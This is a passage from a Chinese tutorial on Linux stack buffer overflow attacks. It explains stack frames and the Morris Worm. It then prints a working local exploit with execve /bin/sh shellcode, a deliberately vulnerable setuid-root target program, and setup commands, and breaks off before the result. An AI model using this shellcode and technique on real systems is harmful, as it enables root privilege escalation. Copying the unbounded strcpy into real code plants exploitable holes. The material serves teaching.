日期:2014-05-16 浏览次数:20824 次
前言
从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用。当函数调用发生时,新的堆栈帧被压入堆栈;当函数返回时,相应的堆栈帧从堆栈中弹出。尽管堆栈帧结构的引入为在高级语言中实现函数或过程这样的概念提供了直接的硬件支持,但是由于将函数返回地址这样的重要数据保存在程序员可见的堆栈中,因此也给系统安全带来了极大的隐患。
历史上最著名的缓冲区溢出攻击可能要算是1988年11月2日的Morris Worm所携带的攻击代码了。这个因特网蠕虫利用了fingerd程序的缓冲区溢出漏洞,给用户带来了很大危害。此后,越来越多的缓冲区溢出漏洞被发现。从bind、wu-ftpd、telnetd、apache等常用服务程序,到Microsoft、Oracle等软件厂商提供的应用程序,都存在着似乎永远也弥补不完的缓冲区溢出漏洞。
根据绿盟科技提供的漏洞报告,2002年共发现各种操作系统和应用程序的漏洞1830个,其中缓冲区溢出漏洞有432个,占总数的23.6%. 而绿盟科技评出的2002年严重程度、影响范围最大的十个安全漏洞中,和缓冲区溢出相关的就有6个。
在读者阅读本文之前有一点需要说明,文中所有示例程序的编译运行环境为gcc 2.7.2.3以及bash 1.14.7,如果读者不清楚自己所使用的编译运行环境可以通过以下命令查看:
$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.7.2.3/specs
gcc version 2.7.2.3
$ rpm -qf /bin/sh
bash-1.14.7-16
|
如果读者使用的是较高版本的gcc或bash的话,运行文中示例程序的结果可能会与这里给出的结果不尽相符,具体原因将在相应章节中做出解释。
Linux下缓冲区溢出攻击实例
为了引起读者的兴趣,我们不妨先来看一个Linux下的缓冲区溢出攻击实例。
#include <stdlib.h>
#include <unistd.h>
extern char **environ;
int main(int argc, char **argv)
{
char large_string[128];
long *long_ptr = (long *) large_string;
int i;
char shellcode[] =
"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07"
"\\x89\\x46\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x08\\x8d"
"\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd"
"\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) strtoul(argv[2], NULL, 16);
for (i = 0; i < (int) strlen(shellcode); i++)
large_string[i] = shellcode[i];
setenv("KIRIKA", large_string, 1);
execle(argv[1], argv[1], NULL, environ);
return 0;
}
|
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
char buffer[96];
printf("- %p -\\n", &buffer);
strcpy(buffer, getenv("KIRIKA"));
return 0;
}
|
图2 攻击对象toto.c
将上面两个程序分别编译为可执行程序,并且将toto改为属主为root的setuid程序:
$ gcc exe.c -o exe
$ gcc toto.c -o toto
$ su
Password:
# chown root.root toto
# chmod +s toto
# ls -l exe toto
-rwxr-xr-x 1 wy os 11871 Sep 28 20:20 exe*
-rwsr-sr-x 1 root root 11269 Sep 28 20:20 toto*
# exit
|
OK,看看接下来会发生什么。首先别忘了用whoami命令验证一下我们现在的身份。其实Linux继承了UNIX的一个习惯,即普通用户的命令提示符是以$开始的,而超级用户的命令提示符是以#开始的。